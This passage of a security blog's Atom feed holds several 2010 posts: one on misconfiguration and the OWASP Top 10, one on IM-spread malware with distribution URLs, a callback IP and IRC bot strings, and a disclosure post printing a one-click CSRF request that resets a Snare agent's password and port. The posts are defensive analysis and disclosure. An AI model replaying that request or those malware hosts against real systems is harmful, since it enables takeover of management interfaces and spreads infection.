href='http://holisticinfosec.blogspot.com/feeds/3986404178517680860/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=3986404178517680860' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/3986404178517680860'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/3986404178517680860'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/08/suricata-in-toolsmith-meet-meerkat.html' title='Suricata in toolsmith: meet the meerkat'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kVOWaY1TAF0/TFjjfMS1yfI/AAAAAAAAAWY/oer37fymskI/s72-c/title.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-6034968612534469462</id><published>2010-07-29T09:28:00.000-07:00</published><updated>2010-07-29T11:21:51.308-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Verizon'/><category scheme='http://www.blogger.com/atom/ns#' term='security misconfuguration'/><category scheme='http://www.blogger.com/atom/ns#' term='OWASP Top 10'/><title type='text'>Verizon Data Breach Report &amp; OWASP Top 10's #6</title><content type='html'>The fact that Computerworld's &lt;a href="http://www.computerworld.com/s/article/9179848/Verizon_Data_breaches_often_caused_by_configuration_errors?source=rss_security" target="_blank"&gt;Jeremy Kirk&lt;/a&gt; just reported that data breaches are often caused by configuration errors (as noted in Verizon's latest data breach report) should come as no surprise, yet I'm left shaking my head in continued disbelief at this issue's prevalence.&lt;br /&gt; &lt;br /&gt;Per Jeremy, as summarized from the report: &lt;br /&gt;&lt;span style="font-style:italic;"&gt;"Verizon said it found that a surprising and "even shocking" trend is continuing: There are fewer attacks that focus on a software vulnerabilities than attacks that focus on configuration weaknesses or sloppy coding of an application."&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;Now we now why security misconfiguration is new to the OWASP Top 10 as of 2010, holding the #6 position.&lt;br /&gt;Consider &lt;span style="font-weight:bold;"&gt;Figure 1&lt;/span&gt; as ripped right from the OWASP Top 10 &lt;a href="http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010.pdf" target="_blank"&gt;doc&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kVOWaY1TAF0/TFG2sGhns2I/AAAAAAAAAWA/YL23D2joS8g/s1600/OWASPtop10no6.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 50px;" src="http://3.bp.blogspot.com/_kVOWaY1TAF0/TFG2sGhns2I/AAAAAAAAAWA/YL23D2joS8g/s320/OWASPtop10no6.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5499377488778212194" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Can we agree that data breach qualifies as a "business impact"?&lt;br /&gt;&lt;br /&gt;A recent example of classic security misconfiguration includes the design flaw in WordPress that, by default, allowed users to set up permissions that let anyone read their blog's &lt;span style="font-style:italic;"&gt;wp-config.php&lt;/span&gt; configuration file; WordPress stores the bloggers' credentials in plain text (also OWASP Top 10 A9). &lt;br /&gt;An attacker could create a scanner to locate all configuration files containing incorrect permissions, read database credentials, and compromise all found.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kVOWaY1TAF0/TFHC2JCSt3I/AAAAAAAAAWI/rQXTbgjZUP0/s1600/badWP.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 154px;" src="http://2.bp.blogspot.com/_kVOWaY1TAF0/TFHC2JCSt3I/AAAAAAAAAWI/rQXTbgjZUP0/s320/badWP.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5499390855390345074" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So easily avoided.&lt;br /&gt;&lt;br /&gt;OWASP's recommendations include:&lt;br /&gt;1. A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Dev, QA, and production environments should all be configured the same. This process should be automated to minimize the effort required to setup a new secure environment.&lt;br /&gt;2. A process for keeping abreast of and deploying all new software updates and patches in a timely manner to each deployed environment.&lt;br /&gt;3. A strong network architecture that provides good separation and security between components. Consider running automated scans periodically to help you detect future misconfiguration or missing patches.&lt;br /&gt;&lt;br /&gt;Make it so!&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/07/verizon-data-breach-report-owasp-top.html&amp;title=Verizon%20Data%20Breach%20Report%20&amp;%20OWASP%20Top%2010's%20#6 " title="Verizon Data Breach Report &amp; OWASP Top 10's #6 "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/07/verizon-data-breach-report-owasp-top.html" title="Verizon Data Breach Report &amp; OWASP Top 10's #6 "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/07/verizon-data-breach-report-owasp-top.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-6034968612534469462?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/6034968612534469462/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=6034968612534469462' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6034968612534469462'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6034968612534469462'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/07/verizon-data-breach-report-owasp-top.html' title='Verizon Data Breach Report &amp; OWASP Top 10&apos;s #6'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kVOWaY1TAF0/TFG2sGhns2I/AAAAAAAAAWA/YL23D2joS8g/s72-c/OWASPtop10no6.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-6873545131950146389</id><published>2010-07-28T07:26:00.000-07:00</published><updated>2010-07-28T11:40:24.712-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='issa'/><category scheme='http://www.blogger.com/atom/ns#' term='incident response'/><category scheme='http://www.blogger.com/atom/ns#' term='toolsmith'/><category scheme='http://www.blogger.com/atom/ns#' term='incident handling'/><title type='text'>ISSA Members: Connect regarding IR in cloud &amp; complex environments</title><content type='html'>If you're an ISSA &lt;a href="https://www.issa.org/page/?p=Benefits_of_Membership_9"&gt;member&lt;/a&gt; please feel free to join the &lt;a href="http://connect.issa.org/message/2699"&gt;conversation&lt;/a&gt; on ISSA &lt;a href="http://connect.issa.org/index.jspa"&gt;Connect&lt;/a&gt; regarding incident response challenges in highly complex, massive network volume, and/or cloud environments. &lt;br /&gt;This discussion sets up a presentation I'll be giving at the ISSA International &lt;a href="https://www.issa.org/conf/?p=169"&gt;Conference&lt;/a&gt; on September 17, 2010 in Atlanta. Hope to see you there.&lt;br /&gt;I have recommendations regarding tooling and methodology that I'll be sharing at the conference, but I'm really interested in hearing about your experiences under similar circumstances. What's worked for you and what hasn't?&lt;br /&gt;Folks working for sizable online service providers, ISPs, cloud or SaaS providers, and have had some noteworthy technical challenges or experiences, you're the folks I'd like to hear from.&lt;br /&gt;If your not an ISSA member feel free to comment here or email me (russ at holisticinfosec dot org).&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/07/issa-members-connect-regarding-ir-in.html&amp;amp;title=ISSA Members:%20Connect%20regarding%20IR%20in%20cloud%20&amp;%20complex%20environments" title="ISSA Members: Connect regarding IR in cloud &amp; complex environments "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/07/issa-members-connect-regarding-ir-in.html" title="ISSA Members: Connect regarding IR in cloud &amp; complex environments "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/07/issa-members-connect-regarding-ir-in.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-6873545131950146389?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/6873545131950146389/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=6873545131950146389' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6873545131950146389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6873545131950146389'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/07/issa-members-connect-regarding-ir-in.html' title='ISSA Members: Connect regarding IR in cloud &amp; complex environments'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-804756716735510757</id><published>2010-07-19T22:00:00.000-07:00</published><updated>2010-07-19T22:29:16.662-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='malcode analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis tools'/><title type='text'>Messenger Abuser Malware Tactics</title><content type='html'>A common trend I see in both research and job duties is the use of instant messaging services to propagate malware.&lt;br /&gt;"OMG, Russ," you say, "groundbreaking!" I know, I know.&lt;br /&gt;This is all about tactics and trends.&lt;br /&gt;Pushing malware through URLs sent over instant messaging should surprise no one who spends anytime in the infosec space, but once in awhile I spot persistent methods that are, if nothing else, relentless in their pursuit of victims.&lt;br /&gt;You know the vector. A URL pops up in the IM client, victim clicks, off to the races.&lt;br /&gt;&lt;br /&gt;With the vast popularity of social networking services, one obvious trait includes Facebook-oriented nomenclature where a URL and attacker domain might include the likes of &lt;span style="font-style: italic;"&gt;hxxp://www.facebook.otsima.com/facebook_gallery.php?img=DSC004075208450.JPG&lt;/span&gt;.&lt;br /&gt;"Look, Ma! It's from my Facebook friend! It's gotta be safe!" Uh-huh.&lt;br /&gt;What's been interesting lately  has been the number of executables that are named as image files; most often JPG as seen above.&lt;br /&gt;Said sample above is Backdoor.Win32.Gootkit.&lt;br /&gt;&lt;br /&gt;Another one following this pattern lately was found at hxxp://www.e-egypt.net/watch.php?=FOTO3436812.JPG.&lt;br /&gt;A recent sweep for the string as part of this analysis found it referenced in the following:&lt;br /&gt;hxxp://www.fuckyoutube.org/&lt;span style="font-weight: bold;"&gt;watch.php?=FOTO3436812.JPG&lt;/span&gt; (suspended)&lt;br /&gt;hxxp://www.imagewhat.com/pictures/&lt;span style="font-weight: bold;"&gt;watch.php?=FOTO3436812.JPG&lt;/span&gt; (suspended)&lt;br /&gt;Inevitably, they're served from a hacked server too, as seen on &lt;span style="font-style: italic;"&gt;e-egypt.net&lt;/span&gt;; when explored at it's root offers Figure 1.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/TEPaXY4x3ZI/AAAAAAAAAVw/WTf0XSPkidk/s1600/ScreenShot007.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 154px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/TEPaXY4x3ZI/AAAAAAAAAVw/WTf0XSPkidk/s320/ScreenShot007.png" alt="" id="BLOGGER_PHOTO_ID_5495476065674583442" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Figure 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The binary disguised (thinly) as &lt;span style="font-style: italic;"&gt;FOTO3436812.JPG&lt;/span&gt; is an unspectacular IRC bot with a tenacious master, given the numerous URL variants pointing to the same sample.&lt;br /&gt;A quick run through ye olde sandbox produces a PCAP and behavioral analysis that indicates classic IRC behavior; again, very typical stuff known in some circles as the LolBot. But the bad guy (or so it seems) was nice enough to leave his "Facebook badge" on the server that the initially executed package calls home to for additional downloads. One directory jump up from where said additional download resides and you have Figure 2 (anonymized to protect the miscreant).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kVOWaY1TAF0/TEUsvl7DBHI/AAAAAAAAAV4/EXpuCCR0F4w/s1600/ScreenShot010.png"&gt;&lt;img style="cursor: pointer; width: 315px; height: 106px;" src="http://1.bp.blogspot.com/_kVOWaY1TAF0/TEUsvl7DBHI/AAAAAAAAAV4/EXpuCCR0F4w/s320/ScreenShot010.png" alt="" id="BLOGGER_PHOTO_ID_5495848116420805746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Figure 2&lt;br /&gt;&lt;br /&gt;Nice, nothing like putting a face with your malware. ;-)&lt;br /&gt;&lt;br /&gt;How about the endless VBTrojan malware served up with a bit of Brazilian (calls home to 200.98.197.93) spice via the file name &lt;span style="font-style: italic;"&gt;MsnWebcawOnFiles1634.com&lt;/span&gt; (see the trend?):&lt;br /&gt;http://msnfiles-webshow.serveftp.com&lt;br /&gt;http://webmsn-fileshowrum.serveftp.com&lt;br /&gt;http://webcawmsn-showrum.serveftp.com&lt;br /&gt;The strings references include "desconhecido" ("unknown" or "strange" in Portuguese) and C:\Arquivos de programas. ;-) Beware the arquivos!&lt;br /&gt;&lt;br /&gt;My favorite of late has been this one pushed behind a TinyURL.&lt;br /&gt;This one was pretty good and there's very little detection for the binary yet.&lt;br /&gt;The shortened version:&lt;br /&gt;hxxp://www.tinyurl.com/DSC488398JPG (I love the DSC nomenclature like it just came off a phone or digital camera).&lt;br /&gt;Redirect is to hxxp://03161b8.netsolhost.com/index.html, but the catch here is that  &lt;span style="font-style: italic;"&gt;index.html&lt;/span&gt; is actually the binary.&lt;br /&gt;I have to say, I hadn't seen that one used before in this context. The trickery is improving.&lt;br /&gt;But alas, it's still just an IRC bot:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;NICK new[USA|XP]8092826&lt;br /&gt;USER s "" "lol" :s&lt;br /&gt;:001 irc.priv8irc9.com&lt;/span&gt;&lt;br /&gt;Remember I mentioned the LolBot above with regard to a different sample?&lt;br /&gt;Give it a few days. Once the detection is up to speed for this variant I'm reasonably certain we'll see it classified as Lol/Buzus/Panadol.&lt;br /&gt;I'll take bets: the hash for &lt;span style="font-style: italic;"&gt;index.html&lt;/span&gt; is 2B4B55CE4A991DBD9600246C7F9E080D.&lt;br /&gt;We'll see if my neanderthal-like ability to spot trends holds water. ;-)&lt;br /&gt;&lt;br /&gt;Like I said, what's old is new again. But maybe, just maybe, you learned something useful reading this far.&lt;br /&gt;&lt;br /&gt;Sorry it's been a few weeks...busy, busy.&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/07/messenger-abuser-malware-tactics.html&amp;amp;title=Messenger%20Abuser%20Malware%20Tactics" title="Messenger Abuser Malware Tactics "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/07/messenger-abuser-malware-tactics.html" title="Messenger Abuser Malware Tactics "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/07/messenger-abuser-malware-tactics.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-804756716735510757?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/804756716735510757/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=804756716735510757' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/804756716735510757'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/804756716735510757'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/07/messenger-abuser-malware-tactics.html' title='Messenger Abuser Malware Tactics'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kVOWaY1TAF0/TEPaXY4x3ZI/AAAAAAAAAVw/WTf0XSPkidk/s72-c/ScreenShot007.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-1555450221840791577</id><published>2010-06-28T18:47:00.000-07:00</published><updated>2010-06-29T13:00:26.579-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='SDL'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>CSRF flaws that pack a punch</title><content type='html'>&lt;span style="font-weight: bold; font-family: verdana;font-family:verdana;" &gt;Note:&lt;/span&gt;&lt;span style="font-family: verdana;font-family:verdana;" &gt; These findings were responsibly disclosed and vendor updates have been issued.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-family:verdana;" &gt;See the &lt;a href="http://www.ebox-platform.com/" target="_blank"&gt;eBbox Platform&lt;/a&gt; advisory &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://trac.ebox-platform.com/wiki/Document/ESN/ESN-1-1" target="_blank"&gt;here&lt;/a&gt;&lt;span style="font-family: verdana;"&gt; and the &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://intersectalliance.com/" target="_blank"&gt;Snare&lt;/a&gt;&lt;span style="font-family: verdana;"&gt; advisory &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://www.kb.cert.org/vuls/id/173009" target="_blank"&gt;here&lt;/a&gt;&lt;span style="font-family: verdana;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;A year after &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://holisticinfosec.blogspot.com/2010/01/def-con-17-csrf-videos-remastered.html" target="_blank"&gt;DEFCON 17&lt;/a&gt;&lt;span style="font-family: verdana;"&gt;, cross-site request forgery (still one of my favorite bugs) continues to present itself in some mighty interesting places.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;I've already talked about it in the likes of wireless &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://holisticinfosec.org/content/view/109/45/" target="_blank"&gt;routers&lt;/a&gt;&lt;span style="font-family: verdana;"&gt;, UPS &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://www.kb.cert.org/vuls/id/166739" target="_blank"&gt;units&lt;/a&gt;&lt;span style="font-family: verdana;"&gt;, and a variety of web &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://holisticinfosec.org/content/category/6/23/45/" target="_blank"&gt;apps&lt;/a&gt;&lt;span style="font-family: verdana;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;But it gets more sketchy when the vulnerable application gives up the keys to the castle via CSRF.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;I don't mean just admin rights to the app, I mean compromise leading to control of the OS or platform itself.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Before I go into detail please know that both vendors in question responded instantly, provided fix time-lines, and met them precisely with corrective updates.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Two cases in point, keeping in mind that CSRF is often referred to as the one-click attack.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;First, eBox Platform.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;eBox Platform describes itself as a catchall that can &lt;/span&gt;&lt;span style="font-style: italic; font-family: verdana;"&gt;act as a Gateway, Infrastructure Manager, Unified Threat Manager, Office Server, Unified Communication Server or a combination of them. One single, easy-to-use platform to manage all your network services.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Er, or one really broad attack surface.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Give away all that power to one tiny code snippet.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="font-family: verdana;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kVOWaY1TAF0/TCl3kQOw9EI/AAAAAAAAAVg/d93Ms6LMPjk/s1600/eBoxCSRF.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 93px;" src="http://1.bp.blogspot.com/_kVOWaY1TAF0/TCl3kQOw9EI/AAAAAAAAAVg/d93Ms6LMPjk/s320/eBoxCSRF.png" alt="" id="BLOGGER_PHOTO_ID_5488049085643551810" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: verdana;"&gt;Figure 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Failure to tokenize requests to the application means successful compromise with one errant victim click. Sending a halt order as seen in Figure is but a pittance as any request submitted via the browser-driven web management interface can be maliciously manipulated.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Preventing this attack clearly should be prioritized by developers; CSRF is number six in the OWASP Top 10 for a reason.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Next on our list: Snare from InterSect Alliance.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;From their website: &lt;/span&gt;&lt;span style="font-style: italic; font-family: verdana;"&gt;Snare for &lt;pick your="" os=""&gt; provides front end filtering, remote control, and remote distribution for &lt;pick your="" os=""&gt; audit log and event log data.&lt;/pick&gt;&lt;/pick&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;One agent to rule them all; one CRSF bug to rule all agents.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Meh.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Even though the web app for the Snare client can be configured with a password and localhost restrictions, an attacker need only convince a victim to click a link; it's simple GET request CSRF to finish the job.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: verdana;font-family:courier new;" &gt;http://192.168.248.231:6161/setremote?str_RestrictIP=&lt;/span&gt;&lt;span style="font-weight: bold; font-family: verdana;font-family:courier new;" &gt;192.168.248.235&lt;/span&gt;&lt;span style="font-weight: bold; font-family: verdana;font-family:courier new;" &gt;&amp;amp;dw_Password=on&amp;amp;str_Password=password&amp;amp;dw_PortChange=on&amp;amp;dw_WebPort=84&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;This request resets the password and the port, restricts IP access as well (in case you couldn't tell ;-)) and, as an example, via Snare for Windows, allowing the attacker to dump local users, domain users, registry, etc. On the likes of an AIX system add "remote control, and remote distribution for AIX audit data, interfacing  with the underlying AIX audit subsystem as a custom stream object."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Scary.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;eBox has issued the following fixes:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;The problem can be corrected by upgrading your system to the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;following package versions:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;eBox Platform 1.4:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; ebox                             1.4.7-0ubuntu1~ppa1~hardy1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; libebox                          1.4.5-0ubuntu1~ppa1~hardy1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt; ebox-remoteservices              1.4.7-0ubuntu1~ppa1~hardy1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Snare has issued the following fixes:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;SnareWindows - 3.1.8&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;SnareWindowsVista - 1.1.5&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;SnareAIX - 1.5.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;SnareIrix - 1.4.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;SnareSolaris - 3.2.4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;EpilogWindows - 1.5.4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;EpilogUNIX - 1.3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Typical recommendations apply.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;For system owners, be on the lookout for vulnerabilities of this nature as you make use of convenient web-based system management interfaces such as eBox and Snare.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;For vendors, make use of &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://www.microsoft.com/security/sdl/" target="_blank"&gt;SDL&lt;/a&gt;&lt;span style="font-family: verdana;"&gt; or &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://www.owasp.org/index.php/Security_Code_Review_in_the_SDLC" target="_blank"&gt;SDLC&lt;/a&gt;&lt;span style="font-family: verdana;"&gt; methods, and mitigate these risks in advance of release.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Convenience and efficiency are critical to success in enterprise computing environments, but with great power comes great responsibility. ;-)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Cheers.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-1555450221840791577?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/1555450221840791577/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=1555450221840791577' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/1555450221840791577'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/1555450221840791577'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/06/csrf-flaws-that-pack-punch.html' title='CSRF flaws that pack a punch'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' 